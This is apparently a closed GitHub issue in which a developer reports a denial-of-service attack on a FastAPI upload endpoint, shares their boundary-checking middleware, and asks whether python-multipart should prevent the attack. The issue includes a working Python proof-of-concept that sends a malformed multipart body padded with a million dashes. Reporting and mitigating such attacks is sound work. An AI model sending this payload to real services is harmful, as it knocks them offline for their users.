Closed
Description
Hi, I have some questions based on an issue I'm currently dealing with.
I’ve created a simple project using Uvicorn, FastAPI, and python-multipart, and I'm encountering the following type of attack that is causing my API to become unavailable:
import requests
url = f"http://localhost:8000/upload_files"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
print(response.status_code)
print(response.text)
This is how I’m handling the attack:
@app.middleware("http")
async def check_boundary(request: Request, call_next):
if "/upload_files" in request.url.path:
content_type = request.headers.get("Content-Type")
if not content_type or "multipart/form-data" not in content_type or "boundary=" not in content_type:
return JSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Content-Type header must be 'multipart/form-data' with a boundary parameter."},
)
boundary = content_type.split("boundary=")[-1].strip()
if not re.match(r"^[\w\-]{1,70}$", boundary):
return JSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Invalid boundary format"},
)
body = await request.body()
boundary_start = f"--{boundary}".encode()
boundary_end = f"--{boundary}--\r\n".encode()
if not body.startswith(boundary_start) or not body.endswith(boundary_end):
return JSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Invalid multipart formatting"},
)
response = await call_next(request)
return response
My question is: Does python-multipart have, or should it have, any built-in mechanisms to prevent this attack? If not, and it's expected that users handle it themselves, would my current approach be sufficient?
Metadata
Metadata
Assignees
Labels
No labels